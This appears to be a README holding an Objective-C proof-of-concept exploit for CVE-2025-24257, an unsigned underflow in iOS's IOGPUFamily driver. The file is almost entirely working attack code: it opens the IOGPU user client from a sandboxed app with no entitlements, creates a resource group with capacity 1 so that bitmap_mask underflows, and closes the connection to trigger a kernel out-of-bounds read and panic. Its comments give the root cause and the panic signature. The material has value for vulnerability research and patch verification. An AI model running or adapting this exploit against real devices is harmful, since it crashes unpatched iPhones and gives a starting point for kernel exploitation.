README.md
Rendering markdown...
//
// CVE_2025_24257.m
// IOGPUFamily bitmap_mask underflow → kernel heap OOB read (panic)
//
// Researcher: Wang Yu of Cyberserval (original discovery)
// Target: iOS 18.3 (22D60) — VULNERABLE | Fixed in iOS 18.4
// Service: IOGPU (type=1) | Entitlements: NONE | Sandbox: YES
//
// Root cause:
// newResourceGroup(capacity) computes bitmap_mask = (capacity >> 6) - 1
// When capacity < 64: bitmap_mask = 0xFFFFFFFF (unsigned underflow)
// The destructor iterates bitmap[0..bitmap_mask] on connection close,
// reading 32GB past the 8-byte bitmap allocation → kernel panic.
//
// This PoC triggers a kernel panic. No exploitation attempted.
//
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
#import <mach/mach.h>
void trigger_CVE_2025_24257(void) {
NSLog(@"[CVE-2025-24257] IOGPUFamily bitmap_mask underflow PoC");
NSLog(@"[CVE-2025-24257] Opening IOGPU service...");
// ── Step 1: Open IOGPU user client (no entitlements required) ──
io_service_t service = IOServiceGetMatchingService(
kIOMainPortDefault,
IOServiceMatching("IOGPU")
);
if (service == IO_OBJECT_NULL) {
NSLog(@"[CVE-2025-24257] IOGPU service not found");
return;
}
io_connect_t conn = IO_OBJECT_NULL;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 1, &conn);
IOObjectRelease(service);
if (kr != KERN_SUCCESS || conn == IO_OBJECT_NULL) {
NSLog(@"[CVE-2025-24257] IOServiceOpen failed: 0x%x", kr);
return;
}
NSLog(@"[CVE-2025-24257] Connection: 0x%x", conn);
// ── Step 2: Create vulnerable resource group ──
// selector 9 = s_new_resource
// structIn[0] = 3 (resType = resource group)
// structIn[56] = 1 (capacity = 1)
//
// Inside the kernel, newResourceGroup computes:
// bitmap_mask = (capacity >> 6) - 1
// capacity=1 → (1 >> 6) = 0 → 0 - 1 = 0xFFFFFFFF (unsigned underflow!)
//
// The bitmap is allocated as 8 bytes (1 qword) in a kalloc.16 zone element.
// But bitmap_mask says there are 4 billion qwords (32GB).
uint8_t in[128] = {0};
uint8_t out[128] = {0};
*(uint32_t *)(in + 0) = 3; // resType = resource group
*(uint32_t *)(in + 56) = 1; // capacity = 1 → bitmap_mask = 0xFFFFFFFF
size_t outSz = 128;
kr = IOConnectCallMethod(conn, 9, NULL, 0, in, 128, NULL, NULL, out, &outSz);
if (kr != KERN_SUCCESS) {
NSLog(@"[CVE-2025-24257] s_new_resource failed: 0x%x", kr);
IOServiceClose(conn);
return;
}
uint32_t resourceId = *(uint32_t *)(out + 40);
uint32_t handle = *(uint32_t *)(out + 48);
NSLog(@"[CVE-2025-24257] Vuln resource created: id=0x%x handle=0x%x", resourceId, handle);
NSLog(@"[CVE-2025-24257] bitmap_mask = 0xFFFFFFFF (should be 0)");
// ── Step 3: Close connection → kernel panic ──
// IOServiceClose triggers resource cleanup on the IOKit workloop thread.
// The destructor iterates bitmap[0..bitmap_mask] (4 billion qwords).
// After ~50-500 elements it reads past the zone page into unmapped memory → panic.
//
// Panic signature:
// pc = sub_FFFFFFF009863C7C (bitmap iterator in IOGPUFamily)
// FAR = unmapped kernel address past kalloc.type.var*.16 zone page
NSLog(@"[CVE-2025-24257] Closing connection → kernel panic...");
IOServiceClose(conn);
// Never reached
NSLog(@"[CVE-2025-24257] Unexpected: no panic");
}